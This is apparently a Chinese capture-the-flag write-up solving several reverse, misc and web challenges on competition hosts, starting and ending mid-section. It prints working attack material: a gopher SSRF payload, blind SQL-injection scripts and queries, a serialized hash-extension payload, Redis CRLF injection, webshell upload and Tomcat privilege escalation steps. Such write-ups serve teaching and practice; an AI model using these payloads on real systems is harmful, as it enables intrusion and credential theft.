I*m*s*_*i*3*|*_*   Encode1(input) *代表未知

然后在Encode1里有交换,所以可以得出交换赋值之前的内容

1

2

3

4

5

6

7

8

9

I*m*s*_*i*3*|*_*

||||||||||||||

||||||++||||||

|||||+--+|||||

||||+----+||||

|||+------+|||

||+--------+||

|+----------+|

+------------+

妈的想不来,写不下去了,
反正我是把算法拿出来,比较的时候打印人工爆破出来的

经过无数次尝试(大约50来次吧),得出的答案是I*m*s*_*ir3D|T-T * 代表任意字符,也就是说此题有多解

问了下出题人,截图给出题人证明之后,出题人给了flag

11.REVERSE200

2.1.题目信息

地址: http://misc.08067.me/CM200/CM200.exe
分值: 200
Flag: Flag{y3s_Is_tH3_LaSt}

2.2.解题过程

这题也是Inkcen表哥做的,办法很暴力,按位爆破,按照他的话说,为什么要按位做检测呢- -!
直接附上爆破代码和截图吧

C

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

#include <Windows.h>

#include <cstdio>

char flag[30] = { 0 };

int main()

{

HWND mainh = FindWindow(nullptr,L"CM200");

if (mainh == nullptr)

printf("error");

HWND XX = FindWindowEx(mainh, nullptr, L"Edit", nullptr);

if(XX == nullptr)

printf("error2");

flag[0] = ‘F‘;

flag[1] = ‘l‘;

flag[2] = ‘a‘;

flag[3] = ‘g‘;

flag[4] = ‘{‘;

flag[5] = ‘y‘;

flag[6] = ‘3‘;

flag[7] = ‘s‘;

flag[8] = ‘_‘;

flag[9] = ‘I‘;

flag[10] = ‘s‘;

flag[11] = ‘_‘;

flag[12] = ‘t‘;

flag[13] = ‘H‘;

flag[14] = ‘3‘;

flag[15] = ‘_‘;

flag[16] = ‘L‘;

flag[17] = ‘a‘;

flag[18] = ‘S‘;

flag[19] = ‘t‘;

flag[20] = ‘}‘;

for (char i = 0x20; i < 0x7e; i++)

{

flag[20] = i;

SendMessageA(XX, WM_SETTEXT, NULL, (LPARAM)flag);

HWND box = FindWindow(nullptr, L"wow");

Sleep(10);

if (box != nullptr)

{

exit(0);

}

}

return 0;

}

每一位输入之后可以检测,那么接下来就类似于盲注一样,一位一位检测就可以拿到所有的了

12.WEB100

2.1.题目信息

地址: http://web2.08067.me/
分值: 100
Flag: flag{[email protected]_1}

2.2.解题过程

讲道理,这题界面很炫

嗯,很Imba,我很喜欢
看到提示有include.php,于是访问一下,发现没有什么,看了下源代码,发现新的tips

目前就凭这两个文件名,可以看出这题应该是上传一个东西,然后给包含进来
访问了下upload.php,发现只能上传jpg/png/gif,其他的都上传不上去
然后看了下include,用file参数包含下自己,发现失败,然后问了下军爷,他说你把.php删掉试试,结果….

竟然终止了,看来他会自己把.php后缀加上,所以成了无限递归包含了,于是想想怎么把php传上去
在网上查了相关文章之后,发现phar伪协议可以满足这个要求
http://www.hackdig.com/09/hack-26779.htm
把php文件打包成zip,后缀改为jpg,上传上去,然后利用phar伪协议包含进来
我这里打包了两个文件,一个为phpinfo.php,一个为yijuhua.php

成功,于是直接访问webshell

在shell目录下有个swpu_wbe2_tips.txt,打开之后得到该题Flag,还有下题的提示

13.WEB200-3

2.1.题目信息

地址: http://web2.08067.me/
分值: 200
Flag: flag{You_get_the_root_–!}

2.2.解题过程

从上题得到的提示,看样子是要提权,有一个tomcat.08067.me的域名,问了一下出题人,tomcat和web2这台服务器是同一台服务器
翻了一下服务器上的文件,发现在icematcha这个用户的家目录下有个tomcat_restart.sh文件

访问了下是tomcat的默认页面,管理页面被改过无法访问,于是在这里想了一下是不是要利用tomcat去提权呢,搜了一下果然是这个思路
http://blog.csdn.net/jlvsjp/article/details/52776377
跟着这篇文章从头看了下,所有提权特征就差tomcat权限的用户了,这篇文章对整个提权漏洞的分析还是很透彻的
php的shell的权限为www-data,所以得把权限换成tomcat
啥都不说了,先找一下tomcat路径,扔一个jsp的马上去
tomcat的默认路径在/var/lib/tomcat6/,往/var/lib/tomcat6/webapps/ROOT/写一个jsp的马,然后反弹shell

然后把tomcat的提权exp丢上去,直接提权
提权过程需要path_to_catalina.out这个文件的绝对路径,该文件在/var/lib/tomcat6/logs/catalina.out

14.MISC100-2

2.1.题目信息

地址: http://misc.08067.me/misc3/misc.jpg
分值: 100
Flag: flag{kaSaI_fbnkjdksSFGHFkfjksabfdJNKLDWOIafsadf}

2.2.解题过程

拿到一个图片,然后直接丢010editor,发现尾部有数据

拿出来,然后base64_decode失败,base32_decode解开了

Python

1

2

3

4

5

import base64

encoded = "OZRGW4L3OVVUG22TL53HEZDVPJ2HKY2DKZIVQVTVOZ5HKY3LOJ3HIWSEKVBFIR2ZKNVXMY3LOR3H2==="

data = base64.b32decode(encoded)

print data

可以拿到解开的数据vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}
然后看起来像是移位,前四位肯定是flag,然后去研究规律···
-16相当于v向前推16位,也就相当于向后推10位,所以可以看做+10
老实说这里规律我我一开始的以为两位+10,两位-10

Python

1

2

3

4

ord(‘f‘) - ord(‘v‘) = -16 = 10

ord(‘l‘) - ord(‘b‘) = 10

ord(‘a‘) - ord(‘k‘) = -10

ord(‘g‘) - ord(‘q‘) = -10

解出来之后发现不对···然后懵逼了
不得已去问了下出题人,确认此题是不是有问题,,出题人表示题目没问题,并让我尝试奇偶变换,
然后不管怎么奇偶变化都解不出来flag,然后再问了一下(原谅我这么不要脸),让我把字母奇偶变换
瞬间明白

1

2

abcdefghigklmnopqrstuvwxyz

-+-+-+-+-+-+-+-+-+-+-+-+-+

于是写了个程序让他自己完成变换的过程

Python

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

def checkdaxiaoxie(s):

s = ord(s)

if s >= 65 and s <=90: # >=A and <=Z

return 1 # 大写

elif s >= 97 and s <=122: # >=a and <=z

return 0 # 小写

else:

return 2 # 符号

def jiajiajianjian(s):

daxiaoxie = checkdaxiaoxie(s)

temp = ord(s)

if temp % 2 ==1:

temp = temp - 10 # 奇数位

else:

temp = temp + 10 # 偶数位

if daxiaoxie == 0: # 小写

if temp > 122: # >z

temp -=26

elif temp < 97: # <a

temp +=26

elif daxiaoxie == 1: # 大写

if temp > 90: # >Z

temp -=26

elif temp < 65: # <A

temp +=26

return chr(temp)

import base64

encoded = "OZRGW4L3OVVUG22TL53HEZDVPJ2HKY2DKZIVQVTVOZ5HKY3LOJ3HIWSEKVBFIR2ZKNVXMY3LOR3H2==="

data = base64.b32decode(encoded)

print data

a = ""

for i in data:

a += jiajiajianjian(i)

print a

解出来之后是flagqkaSaIUfbnkjdksSFGHFkfjksabfdJNKLDWOIafsadfs,然后把三个符号再换回去就得到flag了

15.WEB400

2.1.题目信息

地址: http://web4.08067.me/
分值: 400
Flag: flag{I_L0vE_xx1a0m4i}

2.2.解题过程

这题是个代码审计的题目,扫描发现有web.zip
下载下来之后即为整站的源代码
首先在common.php里。可以看到把提交过来的各类参数foreach成k,v
common.php

PHP

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

<?php

error_reporting(0);

foreach(Array("_POST","_GET","_COOKIE") as $key){

foreach($$key as $k => $v){

if(is_array($v)){

die("hello,hacker!");

}

else{

$k[0] !=‘_‘?$$k = addslashes($v):$$k = "";

}

}

}

function mysql_conn()

{

$conn=@mysql_connect(‘localhost‘,‘root‘,‘****‘) or die(‘could not connect‘.mysql_error());

mysql_query(‘use web‘);

mysql_query("SET character_set_connection=utf8, character_set_results=utf8,character_set_client=utf8", $conn);

return $conn;

}

function get_salt( $length = 16 ) {

$chars = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘;

$salt =‘‘;

for ( $i = 0; $i < $length; $i++ )

{

$salt .= $chars[ mt_rand(0, strlen($chars) - 1) ];

}

return $salt;

}

function display($arr)

{

$a = ‘

<!--时光-->

<div class="shiguang animated bounceIn">

<div class="left sg_ico">

<img src="images/my_1.jpg" width="120" height="120" />

</div>

<div class="right sg_text">

<img src="images/left.png" width="13" height="16" alt="左图标"/>‘

.

$arr

.

‘</div>

<div class="clear"></div>

</div>

<!--时光 end-->‘;

return $a;

}

?>

在foreach最后的赋值阶段,对value进行了addslashes,所以这里是没办法代入一些奇怪的东西的
但是这里会存在一个可能导致变量覆盖的问题
如果接下来哪个页面没有定义某个变量,但是调用到了,就会发生变量覆盖的问题
然后去找找哪里有未定义的变量,找了一圈,就发现只有riji.php里有这么一段可疑的代码
riji.php

PHP

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

<?php

require_once("common.php");

session_start();

if (@$_SESSION[‘login‘] !== 1)

{

header(‘Location:/web/index.php‘);

exit();

}

if($_SESSION[‘user‘])

{

$username = $_SESSION[‘user‘];

@mysql_conn();

$sql = "select * from user where name=‘$username‘";

$result = @mysql_fetch_array(mysql_query($sql));

mysql_close();

if($result[‘userid‘])

{

$id = intval($result[‘userid‘]);

}

}

else

{

exit();

}

?>

<!DOCTYPE HTML>

<html lang="zh-CN">

<head>

<meta charset="UTF-8">

<title>日记系统</title>

<meta name="keywords" content="日记系统" />

<meta name="description" content="" />

<link rel="stylesheet" href="css/index.css"/>

<link rel="stylesheet" href="css/style.css"/>

<link rel="stylesheet" href="css/animate.css"/>

<script type="text/javascript" src="js/jquery1.42.min.js"></script>

<script type="text/javascript" src="js/jquery.SuperSlide.2.1.1.js"></script>

<!--[if lt IE 9]>

<script src="js/html5.js"></script>

<![endif]-->

</head>

<body>

<!--header start-->

<div id="header">

<h1>日记系统</h1>

<p>一个给小美的日记系统</p>

</div>

<!--header end-->

<!--nav-->

<div id="nav">

<ul>

<li><a href="index.php">登陆</a></li>

<li><a href="forget.php">找回密码</a></li>

<li><a href="riji.php">个人日记</a></li>

<li><a href="guestbook.php">写日记</a></li>

<li><a href="logoff.php?off=1">注销</a></li>

<div class="clear"></div>

</ul>

</div>

<!--nav end-->

<!--content start-->

<div id="content">

<!--left-->

<div class="left" id="riji">

<div class="weizi">

<div class="wz_text">当前位置:<a href="#">首页</a>><h1>个人日记</h1></div>

</div>

<div class="rj_content">

<?php

@mysql_conn();

$sql1 = "select * from msg where userid= $id order by id";

$query = mysql_query($sql1);

$result1 = array();

while($temp=mysql_fetch_assoc($query)) {

$result1[]=$temp;

}

mysql_close();

foreach($result1 as $x=>$o)

{

echo display($o[‘msg‘]);

}

?>

</div>

</div>

</div>

</body>

</html>

假如$result[‘userid’]没有东西,则$id就不会被定义,然后接下来选取文章的时候就可以进行注入了
要使$result[‘userid’]取不到东西,就要$_SESSION[‘user’]不存在,于是看了一下,$_SESSION[‘user’]是在登录的时候定义的,但是整体代码没有什么地方进行unset,所以只要让$_SESSION[‘user’]不存在就可以了。
然后跟着这个思路,再看看如何让$_SESSION[‘user’]不存在,又看了一下,发现在api.php里有删除账号的操作,如果可以删除掉一个账户,而保持该账户的登录状态,
那么在riji.php里取$result[‘userid’]的时候,就会取不到东西,这时候就可以自己传入一个id值,实现变量覆盖
api.php

PHP

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

<?php

require_once("common.php");

session_start();

if (@$_SESSION[‘login‘] === 1){

header(‘Location:/web/riji.php‘);

exit();

}

class admin {

var $name;

var $check;

var $data;

var $method;

var $userid;

var $msgid;

function check(){

$username = addslashes($this->name);//进入数据库的数据进行转义

@mysql_conn();

$sql = "select * from user where name=‘$username‘";

$result = @mysql_fetch_array(mysql_query($sql));

mysql_close();

if(!empty($result)){

//利用 salt 验证是否为该用户

if($this->check === md5($result[‘salt‘] . $this->data . $username)){

echo ‘(=-=)!!‘;

if($result[‘role‘] == 1){//检查是否为admin用户

return 1;

}

else{

return 0;

}

}

else{

return 0;

}

}

else{

return 0;

}

}

function do_method(){

if($this->check() === 1){

if($this->method === ‘del_msg‘){

$this->del_msg();

}

elseif($this->method === ‘del_user‘){

$this->del_user();

}

else{

exit();

}

}

}

function del_msg(){

if($this->msgid)

{

$msg_id = intval($this->msgid);//防注入

@mysql_conn();

$sql1 = "DELETE FROM msg where id=‘$msg_id‘";

if(mysql_query($sql1)){

echo(‘<script>alert("Delete message success!!")</script>‘);

exit();

}

else{

echo(‘<script>alert("Delete message wrong!!")</script>‘);

exit();

}

mysql_close();

}

else{

echo(‘<script>alert("Check Your msg_id!!")</script>‘);

exit();

}

}

function del_user(){

if($this->userid){

$user_id = intval($this->userid);//防注入

if($user_id == 1){

echo(‘<script>alert("Admin can\‘t delete!!")</script>‘);

exit();

}

@mysql_conn();

$sql2 = "DELETE FROM user where userid=‘$user_id‘";

if(mysql_query($sql2)){

echo(‘<script>alert("Delete user success!!")</script>‘);

exit();

}

else{

echo(‘<script>alert("Delete user wrong!!")</script>‘);

exit();

}

mysql_close();

}

else{

echo(‘<script>alert("Check Your user_id!!")</script>‘);

exit();

}

}

}

$a = unserialize(base64_decode($api));

$a->do_method();

?>

从代码中可以看出,传入一个序列化的数据,然后进行反序列化之后进入check,于是要调用api.php,必须要知道admin用户的salt,data和username是自己传入的,所以是可以控制的
salt这个在登录的时候会设置在cookie里

PHP

24

25

26

27

28

$user_cookie = ‘‘;

$user_cookie .= $result[‘userid‘];

$user_cookie .= $result[‘name‘];

$user_cookie .= $result[‘salt‘];

$cookies = base64_encode($user_cookie);

一开始我以为是要重置掉admin的密码,结果发现重置密码是要拿到admin的mibao的,但是mibao是无论如何都拿不到的。各种尝试都没办法
于是无奈,又求助于出题人(出题人是真心的大好人呐)
出题人给出了一点提示,hash扩展攻击
Bingo!
查阅了一下原理
http://blog.csdn.net/syh_486_007/article/details/51228628
然后,再找回密码的地方可以拿到salt在MD5之后的值

base64_decode之后为917cc87f88b8833632b012418a7211ad
在github上找到了相应的工具,自己生成出了需要的hash
https://github.com/iagox86/hash_extender

拿到了hash扩展攻击之后的数据,生成base64,同时记录下利用该数据的md58f4d7a58b13a34d34f8384595a3de5f7

然后登陆,登陆过程抓包,拿到自己账户的id

我自己的账户id为100,然后新开一个隐身窗口(为了防止cookie冲突)访问api,删除账户

1

Tzo1OiJhZG1pbiI6Njp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiI4ZjRkN2E1OGIxM2EzNGQzNGY4Mzg0NTk1YTNkZTVmNyI7czo0OiJkYXRhIjtzOjQ4OiKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czozOiIxMDAiO3M6NToibXNnaWQiO3M6MToiMSI7fQ==

然后拿着这个生成好的base64字符串调用接口删除用户

删除完成之后,访问riji.php,抓包,拿到PHPSESSID,直接丢sqlmap跑就行

16.WEB300

2.1.题目信息

地址: http://web5.08067.me/
分值: 300
Flag: Flag{It_iS_s0_ea3y_!!!!!!!!!_FUCK_!!!!!}

2.2.解题过程

输入自己网站么,先输入了一下自己的,发现是把请求的内容返回来了,于是猜测这里有SSRF

于是查了一下操作系统类型,CentOS 6.5

查一下IP 172.16.181.165

利用SSRF扫了一下内网,发现存在166这台主机

然后顺手一个admin,居然存在,然后又顺手一个login.php 居然又存在,hhhhh

form表单提交到wllmctf_login.php了,看样子是要登陆进去了
登录需要POST,查阅资料了解到可以用gopher协议提交POST的表单
payload

1

gopher%3A%2f%2f172.16.181.166%3A80%2f_POST%20%2fadmin%2fwllmctf_login.php%20HTTP%2f1.1%250d%250aHost%3A%20172.16.181.166%250d%250aUser-Agent%3A%20Mozilla%2f5.0%20%28Windows%20NT%206.1%3B%20WOW64%3B%20rv%3A49.0%29%20Gecko%2f20100101%20Firefox%2f49.0%250d%250aAccept%3A%20text%2fhtml%2Capplication%2fxhtml%2bxml%2Capplication%2fxml%3Bq%3D0.9%2C%2a%2f%2a%3Bq%3D0.8%250d%250aAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.8%2Cen-US%3Bq%3D0.5%2Cen%3Bq%3D0.3%250d%250aAccept-Encoding%3A%20gzip%2C%20deflate%250d%250aConnection%3A%20close%250d%250aUpgrade-Insecure-Requests%3A%201%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aContent-Length%3A%2036%250d%250a%250d%250ausername%3Dadmin‘%20and%20‘1‘=‘1%26password%3D123456"

于是开始尝试,发现在username这里存在盲注

1

2

username=admin‘and 1=1 提示 password error

username=admin‘and 1=2 提示 error names

接下来跑注入就行了
一样,交给脚本去处理

Python

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

#!/usr/bin/env python2

# -*- coding: utf-8 -*-

import hackhttp

hh = hackhttp.hackhttp()

def encode(string):

return string.replace(" ","%20")

char = "abcdefghijklmnopqrstuvwxyz1234567890"

target = "http://web5.08067.me/index.php?url="

dbname = ""

for i in range(1,8):

for j in char:

inje = "admin‘ and mid(database(),%s,1)=‘%s‘" % (i,j)

payload = inje + "%2523"

postdata = "username=" + payload + "%26" + "password=123"

payload_len = 9 + len(inje) + 1 + 13

postdata = encode(postdata)

send = "gopher://172.16.181.166:80/_POST%20/admin/wllmctf_login.php%20HTTP/1.1%250d%250a"

send += "Host:%20172.16.181.166%250d%250a"

send += "Content-Type:%20application/x-www-form-urlencoded%250d%250a"

send += "Content-Length:%20" + str(payload_len) + "%250d%250a"

send += "%250d%250a"

send += postdata

url = target + send

a,b,c,d,e = hh.http(url)

if "password error" in c:

dbname += j

print i,dbname

break

基础的pyaload也就是inje了,接下来猜库猜表猜内容
首先是获取数据库名长度,二分法,数据库名长度为7

MySQL

1

2

3

4

5

6

admin‘ and length(database()) < 20  #  对   dbname < 20

admin‘ and length(database()) < 10  #  对   dbname < 10

admin‘ and length(database()) < 5   #  错   5 < dbname < 10

admin‘ and length(database()) < 7   #  错   7 < dbname < 10

admin‘ and length(database()) < 8   #  对   7 < dbname < 8

admin‘ and length(database()) = 7   #  对   dbname = 7

长度为7,然后查库名叫啥

MySQL

1

2

3

4

5

6

7

admin‘ and mid(database(),1,1)=‘w‘

admin‘ and mid(database(),2,1)=‘l‘

admin‘ and mid(database(),3,1)=‘l‘

admin‘ and mid(database(),4,1)=‘l‘

admin‘ and mid(database(),5,1)=‘c‘

admin‘ and mid(database(),6,1)=‘t‘

admin‘ and mid(database(),7,1)=‘f‘

数据库名字为wllmctf
然后查这个库有几个表

MySQL

1

2

3

4

5

6

admin‘ and (select count(*) from information_schema.tables where table_schema=‘wllmctf‘)<10  # 对  表数量 < 10

admin‘ and (select count(*) from information_schema.tables where table_schema=‘wllmctf‘)<5   # 对  表数量 < 5

admin‘ and (select count(*) from information_schema.tables where table_schema=‘wllmctf‘)<3   # 对  表数量 < 3

admin‘ and (select count(*) from information_schema.tables where table_schema=‘wllmctf‘)<2   # 对  表数量 < 2

admin‘ and (select count(*) from information_schema.tables where table_schema=‘wllmctf‘)<1   # 错  1 < 表数量 < 2

admin‘ and (select count(*) from information_schema.tables where table_schema=‘wllmctf‘)=1   # 对  表数量 = 1

只有一个表,有意思,查这个表名字长度

MySQL

1

2

3

4

5

admin‘ and length((select table_name from information_schema.tables where table_schema=‘wllmctf‘ limit 0,1))<20  #  对   长度 < 20

admin‘ and length((select table_name from information_schema.tables where table_schema=‘wllmctf‘ limit 0,1))<10  #  对   长度 < 10

admin‘ and length((select table_name from information_schema.tables where table_schema=‘wllmctf‘ limit 0,1))<5   #  对   长度 < 5

admin‘ and length((select table_name from information_schema.tables where table_schema=‘wllmctf‘ limit 0,1))<3   #  错   3 < 长度 < 5

admin‘ and length((select table_name from information_schema.tables where table_schema=‘wllmctf‘ limit 0,1))=4   #  对   长度 = 4

表名长度为4,查表名叫啥

MySQL

1

2

3

4

admin‘ and mid((select table_name from information_schema.tables where table_schema=‘wllmctf‘ limit 0,1),1,1)=‘s‘

admin‘ and mid((select table_name from information_schema.tables where table_schema=‘wllmctf‘ limit 0,1),2,1)=‘s‘

admin‘ and mid((select table_name from information_schema.tables where table_schema=‘wllmctf‘ limit 0,1),3,1)=‘r‘

admin‘ and mid((select table_name from information_schema.tables where table_schema=‘wllmctf‘ limit 0,1),4,1)=‘f‘

表名ssrf,果然有意思
表里有几个字段

MySQL

1

2

3

4

5

admin‘ and (select count(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘)<10  #  对  字段数 < 10

admin‘ and (select count(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘)<5   #  对  字段数 < 5

admin‘ and (select count(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘)<3   #  对  字段数 < 3

admin‘ and (select count(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘)<2   #  错  2 < 字段数 < 3

admin‘ and (select count(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘)=2   #  对  字段数 = 2

2个字段,查询第一个字段名长度

MySQL

1

2

3

4

5

6

admin‘ and (select length(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1)<10  #  对  长度 < 10

admin‘ and (select length(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1)<5   #  错  5 < 长度 < 10

admin‘ and (select length(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1)<7   #  错  7 < 长度 < 10

admin‘ and (select length(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1)<8   #  错  8 < 长度 < 10

admin‘ and (select length(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1)<9   #  对  8 < 长度 < 9

admin‘ and (select length(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1)=8   #  对  长度 = 8

第一个字段名长度为8,估计为username,下个估计是password,
查询第二个字段名长度

MySQL

1

admin‘ and (select length(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 1,1)=8  #  长度 = 8

也是8
查第一个字段名

MySQL

1

2

3

4

5

6

7

8

admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1),1,1)=‘u‘

admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1),2,1)=‘s‘

admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1),3,1)=‘e‘

admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1),4,1)=‘r‘

admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1),5,1)=‘n‘

admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1),6,1)=‘a‘

admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1),7,1)=‘m‘

admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1),8,1)=‘e‘

第一个字段名是username,然后查第二个

MySQL

1

2

3

4

5

6

7

8

admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 1,1),1,1)=‘p‘

admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 1,1),2,1)=‘a‘

admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 1,1),3,1)=‘s‘

admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 1,1),4,1)=‘s‘

admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 1,1),5,1)=‘w‘

admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 1,1),6,1)=‘o‘

admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 1,1),7,1)=‘r‘

admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 1,1),8,1)=‘d‘

第二个字段名为passowrd,现在需要的信息齐了
数据库名wllmctf
表名ssrf
字段1名username
字段2名password
数据开跑
账号长度跑出来为5,跑账号

MySQL

1

2

3

4

5

admin‘ and mid((select username from wllmctf.ssrf),1,1)=‘a‘

admin‘ and mid((select username from wllmctf.ssrf),2,1)=‘d‘

admin‘ and mid((select username from wllmctf.ssrf),3,1)=‘m‘

admin‘ and mid((select username from wllmctf.ssrf),4,1)=‘i‘

admin‘ and mid((select username from wllmctf.ssrf),5,1)=‘n‘

账号admin,密码长度跑出来为12,开始跑密码

MySQL

1

2

3

4

5

6

7

8

9

10

11

12

admin‘ and mid((select password from wllmctf.ssrf),1,1)=‘x‘

admin‘ and mid((select password from wllmctf.ssrf),2,1)=‘i‘

admin‘ and mid((select password from wllmctf.ssrf),3,1)=‘a‘

admin‘ and mid((select password from wllmctf.ssrf),4,1)=‘o‘

admin‘ and mid((select password from wllmctf.ssrf),5,1)=‘z‘

admin‘ and mid((select password from wllmctf.ssrf),6,1)=‘h‘

admin‘ and mid((select password from wllmctf.ssrf),7,1)=‘a‘

admin‘ and mid((select password from wllmctf.ssrf),8,1)=‘n‘

admin‘ and mid((select password from wllmctf.ssrf),9,1)=‘g‘

admin‘ and mid((select password from wllmctf.ssrf),10,1)=‘1‘

admin‘ and mid((select password from wllmctf.ssrf),11,1)=‘2‘

admin‘ and mid((select password from wllmctf.ssrf),12,1)=‘3‘

密码xiaozhang123
登录吧~

17.WEB200-4

2.1.题目信息

地址: http://web7.08067.me/web7
分值: 200
Flag: flag{this_FUN_XXoo_ABC_UDAFBFnsasfg}

2.2.解题过程

看起来又像是一个SSRF,妈蛋!
老样子,想写上自己的服务器,发现请求的UA头是urllib2.6

然后找了一下相关漏洞,发现存在HTTP头注入,然后在admin页面随便提交一个发现提示fast fast fast….
更快?想想,什么能更快,然后灵光一闪,缓存啊,然后想想什么能做缓存,redis和memcached,猜测是redis,于是访问了下本地6379端口,果然开放
payload

1

http://127.0.0.1%0d%0adbsize%0d%0a:6379/foo

如果可以访问到的话则是Header is empty,访问不到的话则是什么都不显示
于是开始构造HTTP头注入,一开始是以为要写公钥,但是又想到写进去也访问不了啊,于是思(xun)索(wen)了(ti)下(shi)
是要更新redis里的admin的值,服务端那边会以一定线程去更新,如果我更新的速度比他快,那就可以更新成功,然后就可以login进去
好一个线程竞争
写程序提交更新吧

Python

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

import hackhttp

hh = hackhttp.hackhttp()

url = "http://web7.08067.me/web7/input"

raw = ‘‘‘POST /web7/input HTTP/1.1

Host: web7.08067.me

Content-Length: 68

Cache-Control: max-age=0

Origin: http://web7.08067.me

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

DNT: 1

Referer: http://web7.08067.me/web7/input/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8,en;q=0.6

Connection: close

value=http://127.0.0.1%0d%0aset%20admin%20lineline%0d%0a:6379/foo‘‘‘

while True:

a,b,c,d,e = hh.http(url,raw=raw)

print a

登录这里也需要有一个高速访问的状态,我这里直接用Burp去访问了
所以就是先启动更新脚本,然后启动Burp,观察Burp的length,不同的那个即为登陆成功状态
我这里怕更新不上,把更新脚本运行的多份,每个都是多线程的,不怕更新不上去

讲道理,这么给自己服务器找DDoS真的好么- -!

18.REVERSE300

2.1.题目信息

地址: http://misc.08067.me/CM300/
分值: 300
Flag: flag{sA7_Tr03_I’m_Sb!|SwP0}

2.2.解题过程

因为本人水平有限,所以此题最终并没有解出来,此处摘抄了官方的解题过程
官方链接:http://bobao.360.cn/ctf/detail/173.html
CM300分为两个部分第一个为 key 和第二个部分 flag
Key输入进行md5加密。找到常量186, 23, 99, 168, 254, 185, 21, 172, 61, 195, 239, 219, 52, 229, 129, 55转为16进制。再去解md5就OK。

1

ba1763a8feb915ac3dc3efdb34e58137 = md5(‘SwP0‘)

C

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

void Encode1(unsigned char *decrypt, unsigned char *Flag) {

for ( int i = 0; i < 16; i++) {

